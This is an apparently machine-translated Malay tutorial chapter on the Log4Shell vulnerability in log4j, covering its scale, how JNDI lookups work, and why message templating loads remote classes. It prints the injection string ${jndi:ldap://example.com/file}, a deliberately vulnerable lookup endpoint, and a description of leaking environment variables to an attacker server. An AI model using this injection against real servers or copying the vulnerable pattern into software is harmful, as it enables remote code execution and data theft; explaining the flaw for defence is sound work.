7.1 Skandal

Dan sudah tentu, adalah mustahil untuk tidak menceritakan tentang kisah yang berlaku baru-baru ini - pada akhir tahun 2021.

Log4Shell

Agensi Perlindungan Infrastruktur dan Keselamatan Siber AS (CISA) berkata masalah itu Log4Shelladalah salah satu kelemahan paling serius dalam sejarah. Ya, kita bercakap tentang perpustakaan kegemaran kita log4j.

Perpustakaan kecil kami yang selesa log4j dan kelemahan terbesar dalam sejarah ? Tertarik? Kemudian dengar.

7.2 Skala bencana

Penemuan kerentanan kritikal Log4Shell(kod CVE-2021-44228) diumumkan pada 9 Disember 2021 oleh pakar keselamatan Lunasec. Pakar dari komuniti Apache Security Team Java telah mengesahkan maklumat ini dan menerbitkan senarai perpustakaan Java yang terdedah. Senarai itu hanya besar.

Jika projek Java menggunakan perpustakaan log4j, maka ia boleh digodam dengan agak mudah. Dan memandangkan hampir semua perisian pelayan ditulis dalam java logger yang Javapaling log4jpopular, menurut pakar keselamatan, kerentanan itu menjejaskan 93% persekitaran awan korporat. Termasuk Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam dan banyak lagi

Selain itu, kerentanan itu bukan sahaja mempengaruhi perisian pelayan, tetapi juga banyak aplikasi Java, serta pengeluar perkakasan. Sebagai contoh, Intel menerbitkan senarai 32 program yang boleh digodam: SDK, sistem penyelenggaraan pelayan, alat Linux.

Nvidia juga menyiarkan laporan isu keselamatan yang menyebut pelayan DGX dan alatan NetQ. Beberapa kemas kini telah dikeluarkan dengan segera oleh Apple dan Microsoft.

Secara kasarnya, satu baris dalam bar alamat pelayar pelajar meletakkan pelayan jika baris ini dimakan oleh pembalak (pada banyak pelayan, semuanya dilog HTTP-requests).

Selepas menganalisis kod itu, ternyata kelemahan itu telah wujud di perpustakaan sejak 2013, tetapi mereka baru menyedari sekarang. Dan apabila mereka mula menggali lebih dalam, mereka menemui jurang, yang bahagian bawahnya tidak kelihatan sama sekali.

7.3 Kelemahan yang paling serius dalam sejarah

Pada Disember 2021, Agensi Perlindungan Infrastruktur dan Keselamatan Siber (CISA) AS menyatakan bahawa Log4Shellia adalah salah satu kelemahan paling serius dalam sejarah .

Ramai pakar lain menyatakan pendapat yang sama . Semua orang tahu tentang kelemahan ini, dan penggodam dari semua peringkat umur sudah menggunakannya untuk mencuri data peribadi dan jenis serangan lain ke atas pelbagai organisasi. Pada masa hadapan, kami sedang menunggu gelombang penggodaman besar-besaran dan kebocoran data.

Skala bencana boleh diukur walaupun dengan fakta bahawa terdapat tapak berasingan dengan meme tentang Log4j , dan setiap hari terdapat gambar baru.

Masalah ini sudah lama kita hadapi. Satu lubang keselamatan dalam berjuta-juta jika tidak ratusan juta sistem komputer. Semua perisian lama perlu dikemas kini dan sekurang-kurangnya menggantikan perpustakaan ini di sana. Tetapi dalam kebanyakan kes, tiada siapa yang tahu perpustakaan dan versi mana yang digunakan dalam perisian mereka.

Secara umum, kami menjangkakan kenaikan mendadak dalam gaji pakar keselamatan komputer.

7.4 Sifat kelemahan

Untuk memahami intipati kelemahan, anda perlu memahami bagaimana sistem pelayan besar disusun. Selalunya aplikasi pelayan sedemikian dipecahkan kepada perkhidmatan yang berbeza yang terletak pada pelayan yang berbeza. Dan perkhidmatan JNDI membantu mereka berinteraksi.

Java Penamaan dan Antara Muka Direktori (JNDI) adalah Java APIuntuk mencari objek/perkhidmatan mengikut nama. Objek ini boleh disimpan dalam pelbagai perkhidmatan penamaan atau direktori seperti Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP) atau Domain Name Service (DNS).

Bekerja dengannya adalah sangat mudah - ia adalah mudah Java APIyang hanya mengambil satu parameter rentetan - nama perkhidmatan. Dengan itu, anda boleh menghubungi mana-mana perkhidmatan dan memintanya melakukan sesuatu dan / atau menghantar beberapa data. Sebagai contoh, rentetan ${jndi:ldap://example.com/file}akan memuatkan data daripada ini URLyang dinyatakan dalam rentetan.

Jika parameter datang daripada sumber yang tidak dipercayai, ia boleh membawa kepada pemuatan kelas jauh dan pelaksanaan kod pihak ketiga . Apa yang berlaku dalam kes Log4j. Penyerang hanya mengarahkan aplikasi Java mangsa kepada yang berniat jahat rmi/ldap/corba-serverdan menerima objek berniat jahat sebagai tindak balas.

Secara teknikal, masalah di sini bukan dalam log4jperpustakaan itu sendiri, tetapi dalam tetapan keselamatan apabila bekerja dengan JNDI-service. Anda sentiasa perlu menyemak jenis rentetan yang kami hantar ke InitialContext.lookup().

Contoh terdedah JNDI-applications:


@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
   return new javax.naming.InitialContext().lookup(name);
}

7.5 Perpustakaan yang terlalu pintar

Dan di manakah log4janda bertanya? Masalahnya ialah pembangunnya mahu membuat kerja dengannya seselesa mungkin dan menambah pengelogan pintar kepadanya. Begini cara ia berfungsi:

Semuanya bermula dengan fakta bahawa mesej log membenarkan anda menetapkan templat tempat data digantikan, sebagai contoh:


log.debug(“User {user} has {count} friends”, user, count);

Versi lama tanpa penggantian data kelihatan seperti ini:


log.debug( “User “+user +” has “+ count +” friends”);

Pada tahun 2013, penggantian awalan pintar yang ditentukan oleh templat paparan turut ditambahkan pada pustaka ${prefix:name}. Sebagai contoh, rentetan “${java:version}”akan ditukar kepada «Java version 1.7.0_67». Oh betapa selesanya.

Antara ungkapan yang diiktiraf adalah ${jndi:<lookup>}di mana selepas protokol jndi anda boleh menentukan carian melalui LDAP: arbitrary URL-addressboleh ditanya dan dimuatkan sebagai data objek Java.

Ini adalah masalah standard bagi keseluruhan pendekatan JDK: ia secara automatik menyahsiri objek, pautan yang boleh ditetapkan dalam bentuk url. Dalam kes ini, bukan sahaja data objek dimuatkan dari sumber jauh, tetapi juga kod kelasnya.

Hack itu kelihatan seperti ini:

  • Memuat turun fail dengan kod hasad
  • Fail mengandungi bersiri Java an object(dan kelasnya)
  • Kelas sedang dimuatkanJava-machine
  • Objek kelas berniat jahat dicipta
  • Pembina objek dipanggil
  • Kedua-dua pembina dan permulaan statik membenarkan kod kelas berniat jahat untuk dilaksanakan

log4jJika terdapat sesuatu seperti dalam talian yang sedang dilog ${jndi:ldap://example.com/file}, maka log4jia akan memuat turun data daripada ini URL-addressapabila menyambung ke Internet . Dengan memasukkan rentetan yang dilog, penyerang boleh memuat turun dan melaksanakan kod hasad yang dihoskan pada orang awam URL-address.

Walaupun pelaksanaan data dilumpuhkan, penyerang boleh mendapatkan data, seperti pembolehubah persekitaran rahsia, dengan meletakkannya dalam URL-address, yang akan menggantikannya dan menghantarnya ke pelayan penyerang.

Berita baiknya ialah masalah itu telah diselesaikan dengan cepat di perpustakaan .

Berita buruknya ialah berjuta-juta pelayan di seluruh dunia masih menjalankan versi lama perpustakaan ini ...